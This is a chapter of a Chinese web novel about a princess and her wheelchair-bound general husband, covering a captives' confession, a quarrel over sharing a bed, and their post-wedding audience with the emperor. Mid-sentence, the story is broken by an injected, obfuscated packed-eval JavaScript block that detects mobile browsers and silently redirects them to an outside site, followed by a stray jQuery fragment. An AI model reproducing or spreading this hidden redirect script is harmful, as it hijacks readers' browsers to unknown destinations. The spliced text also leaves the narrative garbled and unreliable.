这日暴雨之后,天便一直大晴,景回忧心的山洪也并未发生。
她和陆颂渊在府中安心养了几日伤,这日黄昏前,白智又来了将军府中,这次她是奉了丞相之令,来送那些驼风人的供词。
不知他们用了什么法子,这次的供词倒是跟前几日所说大不相同。
驼风人说,他们见用景回要挟陆颂渊,陆颂渊都不肯给塔干,只好寻个由头栽赃他,好像景文帝下令处置陆颂渊。
若是陆颂渊身侧戒备送了,他们就能将陆颂渊抓住逼他出塔干。
一来一去的供词恍若孩童之言,漏洞百出。
景回看过之后随手扔在了桌上,问白智道:“可查出那猎户的眉目了?”
“还未。”
白智道:“我们在深山四周摸排许久,奈何深山附近住户实在太少,许久都没问出什么。后来误打误撞碰见隔壁山头一真正的猎户,才有了些眉目。那人说说曾在上京城中见过那猎户,丞相已经遣人去找此人画像了,届时拿着画像去寻找,想来应当会有结果。”
景回点点头,又看向桌上供词,问道:“丞相怎么说?”
“丞相说这供词不可尽信,也不可不信。”
与景回所想完全相当,景回点了点头。
事已至此,她们能做的都做了,余下只有明日进宫吃回门饭之时,看景文帝那厢如何说了。
景回忽而想起什么,看着白智问道:“连珠进来可往丞相府传过家书?”
白智呆愣一瞬,答道:“传过。”
景回见她的样子笑了下,问道:“他此次出去时候不短了,可是要回来了?”
白智行礼道:“是,最迟下月。”
下月便是冬月了,天要凉了,想来应当是能顺利取回南疆的重要之物。
“多谢你告知我。”景回说道。
白智抿了下唇,说道:“公子在家书中多次提及公主,他对公主成婚之事甚是愤怒,也很遗憾并未亲自来参加公主的婚礼……”
景回好笑地摆摆手,“他来做什么,将我的婚事搅得一团烂?不来才是正好呢。”
“他很惦记公主。”白智抬头看着景回。
景回偏了下头,哼笑道:“他惦记我那是另有所图,你不必多想。深山之事还需你多费心。”
这是不想再谈连珠,白智说道:“是,下官谨遵公主令,下官告退。”
白智走后,景回坐在榻上又将那供词翻来覆去看了许多遍,才唤阿鱼进来伺候洗漱。
两人一同往净室走去,路过床榻之时,景回欲言又止。
阿鱼看着景回的神情,说道:“昨夜公主睡下之后,将军还是回来睡下了的,今晨公主醒来之前,将军又走的。”
新婚夫妻同塌而眠,这是千百年来的共识之事。
纵是二人并不相熟,之间还有隔阂在,除却新婚之夜,倒是谁也未说要分房。
但那日陆颂渊的反应让景回羞恼又害怕,她想象不出将来与陆颂渊做那些要如何,脑子乱成一团,索性将陆颂渊往外赶,让他睡书房。
陆颂渊深知景回的气愤,嘴上答应了,但一日也没去过。
景回炸了毛,“谁要问他!”
阿鱼没忍住笑了一声,景回登时便要捂她的嘴,“你笑什么!小丫头片子,你也学着陆颂渊来欺负我!”
“公主,奴婢哪儿敢啊!”阿鱼边笑边躲,“只是看您和将军这般,才有种您终于成婚的实感。再说将军人很不错的,从树林中回来后,您抱着将军不肯撒手,也不肯让人靠近,他便亲手解决您的一切,并且陪着您在床上躺了一天一夜呢!”
景回愣住,忽而想起那干净的寝衣,“他给我换的?你给我站住!”
临到睡前,景回还心有芥蒂,她不论怎么问阿鱼,阿鱼都不说那寝衣是谁给她穿上的。
白日里睡多了,景回现下倒是一点也不困了,她躺在床上,迷迷糊糊快睡着之时,果真听见了廊下轮椅滚动的声音。
陆颂渊回来了。
景回连忙朝里躺好闭上眼,轮椅停在身后床边不久,像是确认她是否睡着了,待了片刻后,便滚动着往净室里去了。
景回本想等陆颂渊回来将他抓包,好好问问他,却不料越等越困,还是睡了过去。
迷迷糊糊不知睡了多久,景回感觉到身后有人将她抱进了怀里,那人的手臂横在她腰下,硌人得很。
她闭着眼推了推,“不要勒我,好痛。”
身后之人动了动,景回稍微舒服了些,但还是很痛。
怎料痛意抵挡不住困意,景回就那般重重睡了过去。
隔日,景回醒来时浑身酸痛,尤其是腰侧之处。
从前在锦绣宫中,偌大床铺上景回滚来滚去无人敢管。
但现下夜里睡觉,被人紧紧束缚着不说,导致她只能一个姿势睡到天亮。
景回坐起身,揉着腰侧怒视着早就洗漱过后坐在床边不远处轮椅上的陆颂渊,“陆颂渊,你故意的。”
“什么?臣听不懂。”
陆颂渊今日红冠将发丝高高束起,头顶的黑簪上坠了一颗偌大的红宝石,他身穿一身绯红金丝缕衣,衬得面色红润,仿佛有喜事发生。
他反问道:“昨夜殿下几次三番把我踹醒,可是梦到了什么?”
“本公主早就说了分房睡,你昨夜还偷偷上`床!”
“书房的床臣睡醒之后,总是感觉腰侧伤口疼,烦劳公主多包容。”陆颂渊脸不红心不跳,“且说公主夜间多爱滚动,有我挡着,还能预防公主受伤。”
他故意这么说!
景回瞪大眼睛,看向一旁的阿鱼,阿鱼眨眨眼,昨夜她确实听见了帐内陆颂渊安抚景回的动静。
景回看见阿鱼的表情,便知陆颂渊所说可能是真的,她理不直气壮,“你管我。”
说完便下床去洗漱了。
二人用过早膳,便一同往门外走去,准备前去宫中。
坐着不显什么,一走起路来这腰疼的险些要命,景回抓着阿鱼的手臂,无奈地扶着腰,跟在陆颂渊身后走着。
是不是还瞪陆颂渊的后脑勺一眼。
府中的下人们正往车上搬着东西,待放好后,二位主子上车。
马车缓缓离去,那日在陆颂渊书房外的小婢女拉着另一个人说道:“那日阿鱼姐姐说陆将军不举,可这看着也不像啊……”
那人问:“为何不像?”
小婢女道:“我曾经在宫中伺候过主子,那……之后娘娘们多累腰,公主今日这不就扶着腰呢。”
“可是昨夜并未听见叫水声啊。”那人不解。
“许是我们没听见,反正我看着将军应当……”
“应当什么?”
“很行!”
“我觉得也是!”
两人互相对视一眼,红了个大脸,“不不不准说了,快去干活了,被人听见要掉脑袋的。”
“好,走了。”
二人这厢跑走后,陆青越背着手慢悠悠从门后走出来。
他看着二人背影,问身旁的陆昼雪道:“我这个助将军重振雄风的主意怎么样?”
陆昼雪往旁边挪一步,“你不怕公主知道后杀了你。”
“公主不会知道。”
陆青越理所当然,“抱公主一夜的人又不是我,跟我有什么关系。再说了,我看将军这个样子,日后怕是真的要在公主面前证明一下。啧,就是不知道公主同不同意。”
“无聊。”
他絮絮叨叨个没完,陆昼雪满脸不耐地抬步向外走去,说道:“赶紧跟上。”
“是——”
陆青越拖着长音,“阿姐。”
-
马车一路不停,缓缓驶进皇宫,到了养心殿前,二人一同下马车,走进去拜见景文帝。
今日养心殿十分通透,日头顺着窗户缝隙照在屋中,衬得坐在桌边的景文帝气色都好了不少。
景回笑笑,“儿臣参见父皇,父皇万安。”
“臣参见陛下,陛下万安。”
景文帝大病初愈,面上看着再如何,内里还是虚弱的,且听他说话便能听出来。
景回有数日没见过景文帝,陆颂渊更甚有几月了。
“起吧,阿珠快过来,让父皇看看。”
景回走过去俯身让景文帝摸她的头,她桃花眸子弯弯,“父皇看上去好了不少,身子可还有不适?”
“你四哥前些日子去江北,给朕寻来了一个游医,游医开的方子和太医院的太医不同,吃下几副药便好多了。”
景文帝眼中遗憾满满,“没能去成阿珠的婚事,父皇心有遗憾。”
景回忽然热泪上涌,她眨眨眼压下去,“不遗憾,父皇疼阿珠,我都知道。”
景文帝拍了拍景回的头,“深山爆炸之时,你还亲自去了,受的伤那么严重,现下可好了?那几日父皇总是做梦,梦见你母后,若你有什么事,父皇日后如何面对你母后。”
“已经大好了,父皇不必担心。”景回眼眶一热,说道:“如今儿臣身边有人时常护着呢,父皇真的不必忧心。”
说罢,景回看向陆颂渊。
景文帝也随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078402|178526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着她的视线,看向她身后默默坐在轮椅上的陆颂渊。
“那日深山火药爆炸,连老来跟朕禀报,是你的人及时发现,阻止了更大的爆炸。”
景文帝眼睛如鹰隼般锋利,问出和景回一样的疑问:“缘何你的人会在深山附近?”
陆颂渊垂下眼帘,恭敬地说道:“回陛下,青越和昼雪不曾来过上京,前几日昼雪说想吃边城的糯米团子,青越便趁空闲之时去买给她。”
“嗯?”
陆颂渊这般说,景文帝和景回对视一眼,景文帝问道:“这般,你的人可有受伤?”
“谢陛下关怀,并未受伤。”
景文帝点点头,说道:“此次你及时阻止国库损失,又拼命救了朕的阿珠,朕要重赏你,你可有什么心爱之物吗?”
陆颂渊立刻行礼,面上受宠若惊,“不敢!臣所做都是分内之事,不敢邀功。”
他说着看了景回一眼,说道:“臣还是那句话,陛下肯让臣陪在公主身边,保护公主无恙,便是陛下对臣最大的恩赐了。”
他说完后,殿内有一瞬间的安静。
从前景回总觉得陆颂渊百般靠近定是有目的,这几日过后,再听他这般说,倒是觉得有一丝可信了。
景回轻声哼了哼。
景文帝看见景回的模样,忽而朗声笑了笑,说道:“按照祖宗礼制,你二人成婚后,阿珠应当跟着你回北境。但前些日子之事过后,朕还想让阿珠多陪在朕身边几年,你便陪着她一同留在京城几年吧,顺便养养你腿上的伤。另,依照你的战功,早就可以封侯拜相,但现下你身子不便折腾,便先在朝中挂职,做朕的禁军统领吧。”
这等职位虽是不高,但所做皆是围绕皇帝。只要能时常出入皇宫这些人身边,陆颂渊乐得做。
陆颂渊对此求之不得,他状若思考片刻后,说道:“臣谨遵陛下旨意,只是北境若有战事,还请陛下准臣回去。”
景文帝深深看了陆颂渊一眼,点头道:“朕有爱卿,乃之大幸。”
“陛下谬赞。”
众人各自心想事成,景回眼神在二人之间看了看,问道:“父皇可派人查过深山之事?”
“查过。”
景文帝收回目光,毫不吝啬的从另一边的匣子中拿出几张证词递给景回,“阿珠看看。”
景回拿过来翻开,指尖上面写的与他们得到的证词基本一致,可见这群驼风人要么便是说的实话,要么便是身后之人太过厉害。
“死局。”
景回放下证词,“但终可破。”
景文帝看着她认真的模样,说道:“说得不错。阿珠,此事朕还是交给你,年前给朕查清楚。”
景回领命:“是!”
景文帝看了陆颂渊一眼,对景回说道:“虽然成婚了,但功课不可荒废。阿珠,你懂朕的意思吗?”
那些皇子心中所想,景文帝和景回最是清楚,现下景文帝这般说,景回自然清楚,她起身行礼道:“儿臣明白,儿臣遵旨。”
不论景文帝日后如何打算,景回现下应下,便是绝不会辜负景文帝多年的看重。
“纵有千万奇人,都不及朕的阿珠万分之一。”
成婚之后,景回自认为已经长大了,现下听见这般的夸奖,有些不好意思,“父皇!”
景文帝哈哈大笑,陆颂渊看着远处玩笑的二人,安了大心。
还不到午膳时辰,景回坐去一旁,景文帝忽然问陆颂渊道:“上次朕精力不济,并未来及问你,驼风人所说的塔干,是何物啊?”
景回看向陆颂渊,陆颂渊摇摇头道:“回陛下,臣不知塔干为何物,更不知那人为何那般污蔑臣。至于他口中兵力,更是无稽之谈。”
他说的掷地有声,景文帝都愣了下。
“咳咳咳。”
景文帝的咳嗽声震天响,景回连忙上前伺候他喝了些水,“阿珠,坐吧。”
“是。”
景回坐去一旁。
“此次深山爆炸,是你的人及时发现,乃是大功一件,岂能无赏。”
景文帝对陆颂渊说道:“晚间离宫之时,朕会亲自命人去库中挑些好东西赏。”
“是,臣遵旨,多谢陛下。”
这厢三人说完,便到了午膳时辰,众妃子也来了。众人一同前去宴厅,一顿不远不近的皇家午膳用完,今日的回门宴便算结束了。
景回和陆颂渊跟景文帝回到养心殿说了会儿话后,景回说道:“父皇,儿臣想去看看阿姐。”
景文帝方才晴天的脸骤然转阴,“那个混账,看她作甚!”